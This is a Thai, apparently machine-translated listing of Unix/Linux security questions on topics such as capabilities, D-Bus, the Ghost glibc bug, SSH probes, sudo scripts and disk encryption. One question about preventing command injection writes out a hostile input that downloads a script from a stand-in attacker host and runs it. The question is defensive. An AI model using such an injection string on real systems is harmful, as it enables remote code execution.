คำถามติดแท็ก security

เนื้อหาที่เกี่ยวข้องกับความปลอดภัยของคอมพิวเตอร์เช่นเนื้อหาเกี่ยวกับนโยบายกลไกและอื่น ๆ ที่จำเป็นต้องแน่ใจว่าข้อมูลไม่รั่วไหลหรือเกิดความเสียหายและบริการต่างๆในทุกสถานการณ์

3
เป็นการดีที่จะเรียกใช้ daemon ภายใต้บัญชีผู้ใช้ที่ไม่ใช่รูทหรือไม่?
ฉันได้พัฒนาแอปพลิเคชันที่ใช้ NTP เพื่อเปลี่ยนเวลาเครือข่ายเพื่อซิงค์คอมพิวเตอร์สองเครื่องของฉัน มันทำงานเป็นrootเพราะหลังเท่านั้นที่ได้รับอนุญาตให้เปลี่ยนเวลาและวันที่บน Linux (ฉันเดา) ตอนนี้ฉันต้องการเรียกใช้ในฐานะผู้ใช้ แต่ฉันต้องเข้าถึงเวลา เป็นการดีที่จะเรียกใช้ daemon ภายใต้บัญชีผู้ใช้ที่ไม่ใช่รูทหรือไม่? ฉันจะให้ความสามารถกับแอปพลิเคชันของฉันเช่นCAP_SYS_TIME? มันไม่ได้แนะนำจุดอ่อนด้านความปลอดภัยหรือไม่? มีวิธีที่ดีกว่า?

1
การพิสูจน์ตัวตนและการอนุญาต D-Bus
ฉันกำลังพยายามตั้งค่าการเข้าถึงระยะไกลไปยัง D-Bus และฉันไม่เข้าใจว่าการรับรองความถูกต้องและการอนุญาต (ไม่) ทำงานได้อย่างไร ฉันมีเซิร์ฟเวอร์ D-Bus ที่ฟังบนซ็อกเก็ตแบบนามธรรม $ echo $DBUS_SESSION_BUS_ADDRESS unix:abstract=/tmp/dbus-g5sxxvDlmz,guid=49bd93b893fe40d83604952155190c31 ฉันวิ่งdbus-monitorไปดูว่าเกิดอะไรขึ้น กรณีทดสอบของฉันคือnotify-send helloซึ่งทำงานเมื่อดำเนินการจากเครื่องท้องถิ่น จากบัญชีอื่นในเครื่องเดียวกันฉันไม่สามารถเชื่อมต่อกับรถบัสนั้นได้ otheraccount$ DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-g5sxxvDlmz,guid=49bd93b893fe40d83604952155190c31 dbus-monitor Failed to open connection to session bus: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, …

1
ช่องโหว่ผี - CVE-2015-0235
ที่ไม่ช่องโหว่ผีจำเป็นต้องเข้าถึง (ในขณะที่เป็นอยู่ในระบบต่อผู้ใช้) กับระบบปฏิบัติการได้รับผลกระทบในคำถาม? บางคนสามารถอธิบาย 'ผู้โจมตีจากระยะไกลที่สามารถโทรแอปพลิเคชัน' ได้หรือไม่? ฉันดูเหมือนจะหาการทดสอบเพื่อทำงานบนระบบโลคัลโดยตรง แต่ไม่ใช่จากโฮสต์ระยะไกล ข้อมูลทั้งหมดที่ฉันได้รวบรวมเกี่ยวกับGhost Vulnerabilityจากหลายแหล่ง (เครดิตไปยังแหล่งข้อมูลเหล่านั้น) ฉันได้โพสต์ไว้ด้านล่างในคำตอบในกรณีที่คนอื่นอยากรู้อยากเห็น แก้ไขฉันพบคำตอบของฉัน: ในระหว่างการตรวจสอบรหัสนักวิจัย Qualys ค้นพบบัฟเฟอร์มากเกินไปในฟังก์ชัน __nss_hostname_digits_dots () ของ glibc ข้อผิดพลาดนี้สามารถถูกเรียกทั้งในประเทศและจากระยะไกลผ่านฟังก์ชั่น gethostbyname * () ทั้งหมด แอปพลิเคชันสามารถเข้าถึงตัวแก้ไข DNS เป็นหลักผ่านชุดฟังก์ชัน gethostbyname * () ฟังก์ชั่นเหล่านี้แปลงชื่อโฮสต์เป็นที่อยู่ IP

2
จะทราบชนิดของการเข้ารหัสแบบสมมาตรที่ใช้โดย ssh ได้อย่างไร
ฉันต้องการทราบชนิดของการเข้ารหัสแบบสมมาตร (หลังจากการตรวจสอบความถูกต้อง) ที่ใช้โดย ssh ในไคลเอนต์การเชื่อมต่อเซิร์ฟเวอร์ ฉันไม่แน่ใจว่าใครเป็นคนกำหนดการเข้ารหัส ลูกค้าหรือเซิร์ฟเวอร์? ฉันได้ดูใน/etc/ssh/ssh_config(บนไคลเอนต์) และ/etc/ssh/sshd_config(บนเซิร์ฟเวอร์) และไม่มีอะไร

3
วิธีการป้องกันการฉีดคำสั่งผ่านตัวเลือกคำสั่ง?
ฉันมีแอปพลิเคชัน wrapper ที่ฉันต้องการให้ผู้ใช้ระบุตัวเลือกที่กำหนดเองเพื่อส่งผ่านไปยังโปรแกรมจำลอง อย่างไรก็ตามฉันต้องการให้แน่ใจว่าผู้ใช้ไม่ได้ฉีดคำสั่งอื่น ๆ ผ่านตัวเลือกผู้ใช้ วิธีที่ดีที่สุดในการทำสิ่งนี้ให้สำเร็จคืออะไร? ตัวอย่างเช่น. ผู้ใช้ให้: -a -b แอปพลิเคชันดำเนินการ: mysim --preset_opt -a -b อย่างไรก็ตามฉันไม่ต้องการให้สิ่งนี้เกิดขึ้น: ผู้ใช้ให้: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh แอปพลิเคชันดำเนินการ: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh ขณะนี้ฉันคิดว่าฉันสามารถล้อมรอบตัวเลือกผู้ใช้ทุกคนด้วยเครื่องหมายอัญประกาศเดี่ยว'และตัดเครื่องหมายอัญประกาศใด ๆ ที่ผู้ใช้ให้ดังนั้นคำสั่งในตัวอย่างสุดท้ายจะกลายเป็นอันตราย: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' หมายเหตุ: mysimคำสั่งดำเนินการโดยเป็นส่วนหนึ่งของเชลล์สคริปต์ในคอนเทนเนอร์ docker / lxc ฉันใช้ Ubuntu

1
สามารถป้องกันการใช้เอนโทรปีที่เริ่มต้นโปรแกรมได้หรือไม่
ฉันใช้ Knoppix (หรือ Live CD / DVD อื่น ๆ ) เป็นสภาพแวดล้อมที่ปลอดภัยสำหรับการสร้างคีย์ crypto ที่มีค่า น่าเสียดายที่เอนโทรปีเป็นทรัพยากรที่มี จำกัด ในสภาพแวดล้อมเช่นนั้น ฉันเพิ่งสังเกตว่าการเริ่มต้นแต่ละโปรแกรมนั้นใช้เอนโทรปีค่อนข้างมาก ดูเหมือนว่าจะเป็นเพราะคุณสมบัติการป้องกันสแต็กบางอย่างที่ต้องการการสุ่มที่อยู่ คุณสมบัติที่ดี แต่ไร้ประโยชน์อย่างสมบูรณ์และ - แย่ลง - ทำลายในสถานการณ์ของฉัน มีความเป็นไปได้ที่จะปิดใช้งานคุณสมบัตินี้หรือไม่? ฉันต้องการรูปที่ทำให้ฉันสามารถใช้ภาพ Knoppix ดั้งเดิม (หรืออะไรก็ได้) ต่อไปและต้องการการกำหนดค่าบางอย่างที่รันไทม์ ฉันอ่านว่านี่เกิดจาก glibc ฉันประหลาดใจที่การstrace -p $PID -f -e trace=openต่อต้านการทุบตีไม่แสดงการเข้าถึง / dev / random ใด ๆ เมื่อฉันเริ่มโปรแกรม แต่ฉันไม่คุ้นเคยกับการโต้ตอบของ execve () และตัวเชื่อมโยง
13 linux  kernel  security 

1
โปรแกรมที่เป็นเจ้าของรูทพร้อม setuid bit on
Ping เป็นโปรแกรมที่ root เป็นเจ้าของพร้อมชุด id ผู้ใช้ $ ls -l `which ping` -rwsr-xr-x 1 root root 35752 Nov 4 2011 /bin/ping ตามที่ฉันเข้าใจแล้วหากผู้ใช้รันกระบวนการ ping ดังนั้น id ผู้ใช้ที่มีประสิทธิภาพจะเปลี่ยนจาก id ผู้ใช้จริง (เช่น id ผู้ใช้ของบุคคลที่เปิดตัวกระบวนการ) เป็นรูท id ของผู้ใช้ อย่างไรก็ตามเมื่อฉันลองและดูผลลัพธ์ของ ps เพื่อดูว่ากระบวนการ ping ทำงานในฐานะผู้ใช้รูทฉันยังคงได้รับ ID ผู้ใช้จริงที่แสดง ps -e -o user,ruser,euser,cmd,args | grep ping sashan sashan sashan …

8
เราจะ จำกัด ผลกระทบของโพรบ ssh ได้อย่างไร?
เว็บเซิร์ฟเวอร์ของฉันถูกโจมตีโดยที่อยู่ IP หลายแห่งอย่างต่อเนื่อง พวกเขาลองห้ารหัสผ่านแล้วเปลี่ยนที่อยู่ IP ฉันทำการล็อคหลายครั้งเช่นการใช้ ssh-keys และไม่อนุญาตให้ใช้รหัสผ่านและไม่อนุญาตให้เข้าสู่ระบบจากระยะไกล มีสิ่งที่ฉันสามารถทำได้เพื่อกำจัดความพยายามโจมตีเหล่านี้หรือไม่ ความล้มเหลวนั้นมีการป้องกันที่เฉพาะเจาะจงที่ฉันควรวางไว้หรือไม่?
13 ssh  security 

2
จะส่งตัวแปรไปยังสคริปต์ที่เปิดใช้งานรูทได้อย่างปลอดภัยได้อย่างไร
คำถามนี้เป็นคำถามทั่วไปและไม่เพียง แต่ใช้กับสถานการณ์ของฉันเท่านั้น แต่ ... ฉันมีเครื่องมือ busybox ขนาดเล็กที่ฉันต้องการให้ผู้ใช้ที่ไม่ใช่รูทสามารถรันสคริปต์เฉพาะกับสิทธิ์พิเศษของรูทได้ ตัวอย่างเช่นบางสิ่งบางอย่างเช่นสคริปต์ขนาดเล็กนี้เพื่อเปิดใช้งาน DHCP โดยที่ตัวแปรเดียว ( $1) เพื่อส่งเข้าสู่ cmdline (!!) คือชื่อโฮสต์ที่จะส่งออก: #!/bin/bash udhcpc -b -i eth0 -h $1 การเรียกใช้ udhcpc เช่นนี้ต้องใช้การเข้าถึงรูทดังนั้นฉันวางแผนที่/etc/sudoersจะแก้ไขเพื่อให้มีบรรทัดนี้: joe ALL = NOPASSWD: /path/to/enable_dhcp.sh ซึ่งควรเปิดใช้งาน "joe" เพื่อให้เรียกใช้สคริปต์นั้นได้อย่างง่ายดายด้วยสิทธิ์พิเศษของรูทเพียงแค่เรียกใช้: sudo /path/to/enable_dhcp.sh และไม่ถูกถามหารหัสผ่าน (ซึ่งเป็นสิ่งที่ฉันต้องการเนื่องจากฉันต้องการให้โจสามารถเขียนสคริปต์นี้ได้) ตอนนี้ .. ฉันรู้แล้ว (หรืออย่างน้อยฉันก็คิดว่า) การใช้$1สคริปต์ที่สามารถรันได้อย่างง่ายดายด้วยสิทธิ์พิเศษของรูทเป็นแนวคิดที่น่ากลัวเพราะคุณสามารถฉีดสิ่งที่คุณต้องการได้ ดังนั้น ... วิธีที่ดีที่สุดในการจัดการกับเรื่องนี้คืออะไร? ฉันจะปล่อยให้โจทำสิ่งที่ฉันต้องการด้วยสิทธิ์ของรูทอนุญาตให้เขาส่งผ่านตัวแปร (หรือทำอย่างนั้นได้อย่างมีประสิทธิภาพเหมือนกับตัวแปรสภาพแวดล้อม) ในขณะที่ไม่เปิดกว้างสำหรับการโจมตีแบบฉีด

4
หนังสือ / คู่มือสำหรับการรักษาความปลอดภัยเซิร์ฟเวอร์ [ปิด]
ปิด คำถามนี้เป็นคำถามความคิดเห็นตาม ไม่ยอมรับคำตอบในขณะนี้ ต้องการปรับปรุงคำถามนี้หรือไม่ อัปเดตคำถามเพื่อให้สามารถตอบข้อเท็จจริงและการอ้างอิงได้โดยแก้ไขโพสต์นี้ ปิดให้บริการใน5 ปีที่ผ่านมา ฉันมีความคิดเกี่ยวกับเว็บไซต์ที่ฉันต้องการสร้างและเปิดตัวและฉันคิดว่าจะได้รับ VPS ขนาดเล็กเพื่อโฮสต์มัน (ฉันชอบ Linode ในราคาและพวกเขาดูเหมือนจะได้รับการแนะนำอย่างกว้างขวาง) ฉันค่อนข้างยากจนดังนั้นฉันจึงไม่สามารถซื้อเซิร์ฟเวอร์ที่มีการจัดการได้ ฉันดาวน์โหลด Ubuntu Lucid Server และให้มันทำงานใน VirtualBox เพื่อช่วยฉันเรียนรู้และทำหน้าที่ใกล้เคียงกับเซิร์ฟเวอร์ที่ใช้งานจริงในที่สุด ฉันมุ่งมั่นที่จะเรียนรู้ แต่ฉันค่อนข้างกลัวว่าฉันจะคิดถึงบางสิ่งที่เป็นใบ้และถูกประนีประนอม เช่นนี้ฉันต้องการทราบคำแนะนำที่ดี / หนังสืออธิบายจุดสำคัญของการรักษาความปลอดภัยเซิร์ฟเวอร์ LAMP ฉันได้ทำงานผ่านเนื้อหาพื้นฐานในบทช่วยสอนของ Linode และ Slicehost แล้ว แต่ฉันต้องการเตรียมพร้อมมากที่สุด ไซต์ยังไม่ได้เขียนและฉันมีแนวโน้มที่จะปรับใช้กับโฮสต์ที่ใช้ร่วมกันก่อนเป็นการทดลองใช้ดังนั้นฉันมีเวลาเรียนรู้พื้นฐานอย่างน้อย ฉันรู้ว่าจะทำให้ทุกอย่างทันสมัยตั้งค่า iptables เพื่ออนุญาตให้เฉพาะหลุมที่ฉันต้องการ (ซึ่งปรากฏเป็นเพียงพอร์ต TCP 22 สำหรับ ssh / scp / sftp - ฉันจะเปลี่ยนจากพอร์ตเริ่มต้นสำหรับการรักษาความปลอดภัย (เล็กน้อยมาก) ผ่านโบนัสที่คลุมเครือ …
13 security 

5
วิธีที่ดีที่สุดในการเข้ารหัสดิสก์เต็มรูปแบบ?
ฉันหลงทางเล็กน้อยและไม่แน่ใจว่าเทคโนโลยีใดที่จะเลือกใช้การเข้ารหัสดิสก์เต็มรูปแบบ เป็นการยากที่จะบอกว่าข้อมูลที่ออกมานั้นยังคงเป็นปัจจุบันอยู่หรือไม่ มีแนวทางปฏิบัติที่ดีที่สุดในปัจจุบันสำหรับสิ่งนี้หรือไม่?

1
จะเปิดใช้งาน PID แบบสุ่มบน Linux ได้อย่างไร
ขณะนี้ฉันกำลังเปรียบเทียบการใช้ PID แบบสุ่มใน OpenBSD, FreeBSD และ Linux จากมุมมองด้านความปลอดภัย ตราบใดที่ OpenBSD และ FreeBSD กังวลงานของฉันก็เสร็จสิ้น อย่างไรก็ตามในขณะที่คำตอบในที่นี้ระบุว่า PID แบบสุ่มสามารถเปิดใช้งานบน Linux ได้ด้วยการsysctlตั้งค่าฉันไม่สามารถกำหนดการตั้งค่าได้ งานวิจัยบนอินเทอร์เน็ตเพียงนำไปสู่การแพทช์และการอภิปรายปฏิเสธในหลักลินุกซ์เคอร์เนลและจะไม่ปรากฏในgrsecurityให้บริการอย่างใดอย่างหนึ่ง (และเห็นได้ชัดบน Linux กล่อง PIDs ของฉันมีเพิ่มขึ้นทุกที่ไม่มีsysctlชื่อพารามิเตอร์ที่ดูเหมือนเกี่ยวข้องและการค้นหาในไม่กี่คน แหล่งเคอร์เนลไม่ได้แสดงอะไรที่เกี่ยวข้อง) การสุ่ม PID พร้อมใช้งานบน Linux จริง ๆ หรือไม่

2
วิธีที่สอดคล้องและปลอดภัยกับบัญชีที่ไม่มีรหัสผ่านด้วย SSH
ฉันต้องยอมรับว่าฉันชอบเซิร์ฟเวอร์ที่ไม่มีรหัสผ่านในบางกรณี เซิร์ฟเวอร์ทั่วไปมีความเสี่ยงต่อทุกคนที่มีสิทธิ์เข้าถึงแบบฟิสิคัล ดังนั้นในบางกรณีก็เป็นจริงเพื่อล็อคร่างกายและตั้งแต่นั้นมาไว้วางใจใด ๆการเข้าถึงทางกายภาพ แนวคิดพื้นฐาน ในทางทฤษฎีแล้วเมื่อฉันไปถึงเซิร์ฟเวอร์นั้นฉันควรจะสามารถบริหารงานโดยไม่ต้องใช้รหัสผ่านเพียงแค่พิมพ์rootเป็นชื่อล็อกอินและฉันไม่ควรขอรหัสผ่าน เช่นเดียวกันอาจนำไปใช้กับบัญชีผู้ใช้ แต่ไม่มีใครสามารถเข้าถึงได้จริง ดังนั้นจึงไม่จำเป็นต้องใช้รหัสผ่านระบบสำหรับการเข้าถึงภายใน (เป็นครั้งคราว) เมื่อเข้าถึงเซิร์ฟเวอร์จากระยะไกลไม่ว่าจะเป็นการบริหารระบบหรือสำหรับบัญชีผู้ใช้ฉันคาดว่าจะใช้คีย์ส่วนตัว SSH มันง่ายมากในการตั้งค่าคีย์ SSH สำหรับบัญชีที่เพิ่งสร้างขึ้นและไม่จำเป็นต้องใช้รหัสผ่านระบบสำหรับการเข้าถึงระยะไกล (ปกติ) # user=... # # useradd -m "$user" # sudo -i -u "$user" $ keyurl=... $ $ mkdir -p .ssh $ curl -o .ssh/authorized_keys "$keyurl" บทสรุปคือในทางทฤษฎีเราจะไม่ต้องใช้รหัสผ่านระบบใด ๆสำหรับกรณีการใช้งานเช่นนั้น ดังนั้นคำถามคือเราจะกำหนดค่าระบบและบัญชีผู้ใช้อย่างไรเพื่อให้เกิดขึ้นอย่างสอดคล้องและปลอดภัย รายละเอียดการเข้าถึงท้องถิ่น เราจะมั่นใจได้อย่างไรว่าบัญชีรูทสามารถเข้าถึงได้แบบโลคัลโดยไม่มีรหัสผ่าน? ฉันไม่คิดว่าเราสามารถใช้งานได้passwd -dเพราะจะทำให้การเข้าถึงรูทมากเกินไปและผู้ใช้ที่ไม่มีสิทธิสามารถเปลี่ยนเป็นรูทได้ฟรีซึ่งเป็นสิ่งที่ผิด เราไม่สามารถใช้passwd -lเนื่องจากป้องกันไม่ให้เราเข้าสู่ระบบ โปรดทราบว่าการเข้าถึงเฉพาะที่เกี่ยวกับการเข้าถึงโดยใช้คีย์บอร์ดท้องถิ่น …

7
vsftpd ล้มเหลวในการตรวจสอบสิทธิ์แพม
การย้ายการกำหนดค่า vsftpd ที่พยายามและจริงไปยังเซิร์ฟเวอร์ใหม่ด้วย Fedora 16 ฉันพบปัญหา ดูเหมือนว่าทั้งหมดจะเป็นไปตามที่ควรจะเป็น ฉันไม่พบรายการใด ๆ ในบันทึกที่ระบุว่าเกิดอะไรขึ้น นี่คือไฟล์กำหนดค่าแบบเต็ม: anonymous_enable=NO local_enable=YES write_enable=YES local_umask=022 dirmessage_enable=YES xferlog_enable=YES connect_from_port_20=YES xferlog_file=/var/log/vsftpd.log xferlog_std_format=YES idle_session_timeout=0 data_connection_timeout=0 nopriv_user=ftpsecure connect_from_port_20=YES listen=YES chroot_local_user=YES chroot_list_enable=NO ls_recurse_enable=YES listen_ipv6=NO pam_service_name=vsftpd userlist_enable=YES tcp_wrappers=YES FTP ท้าให้ฉันใช้ชื่อผู้ใช้และรหัสผ่านที่ฉันให้ไว้พวกเขาเข้าสู่ระบบไม่ถูกต้อง ฉันได้ตรวจสอบแล้วผู้ใช้รายนี้สามารถเข้าสู่ระบบจาก ssh มีบางอย่างpam_serviceผิดพลาด ไม่ระบุชื่อ (ถ้าเปลี่ยนเป็นอนุญาต) ดูเหมือนว่าจะทำงานได้ดี SELinux ถูกปิดใช้งาน ดูเหมือนว่า Ftpsecure จะได้รับการกำหนดค่าให้ดี ... ฉันสูญเสียไปอย่างสิ้นเชิง! นี่คือล็อกไฟล์ที่ฉันตรวจสอบโดยไม่ประสบความสำเร็จ: /var/log/messages /var/log/xferlog …

4
ผู้คนแตกระบบ Unix / Linux ได้อย่างไร?
ไม่มีฉันไม่ได้มองที่จะเป็นแครกเกอร์หรืออะไรแบบนั้น แต่ฉันพยายามที่จะเข้าใจกระบวนการ (มากกว่าจากมุมมองการเขียนโปรแกรม) ดังนั้นฉันสมมติว่า (เดา) เป้าหมายหลักของแคร็กเกอร์คือการเข้าถึงรูทเพื่อติดตั้งซอฟต์แวร์ใด ๆ (หรือสคริปต์) ที่เขาเขียนขึ้นใช่ไหม หรืออาจจะติดตั้งโมดูล kernal ของตัวเอง (นั่นเป็นสิ่งที่ไม่ดีไม่ว่าด้วยเหตุผลใด) บุคคลนั้นจะทำสิ่งนี้ได้อย่างไร? ฉันรู้ว่าผู้คนใช้สคริปต์เพื่อตรวจสอบหาช่องโหว่ ...... แต่ฉันไม่เห็นวิธีและฉันก็ไม่เห็นสิ่งที่พวกเขาทำกับพวกเขาเมื่อพวกเขาพบพวกเขา? พวกเขากำลังตรวจสอบเวอร์ชั่นเพื่อหาช่องโหว่ที่รู้จักกันดี ...... แล้วเมื่อพวกเขาพบหนึ่งช่องโหว่ ....... ฉันรู้ว่ามันฟังดูใหม่มาก แต่ฉันแค่พยายามที่จะเข้าใจว่ามันทำงานอย่างไรเพราะฉันรู้ว่าระบบ Linux / Unix ควรจะมีความปลอดภัยมาก แต่ฉันพยายามที่จะคิดออกว่าใครบางคนจะไปถึง (กระบวนการ) ของการเข้าถึงราก
13 linux  security 

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.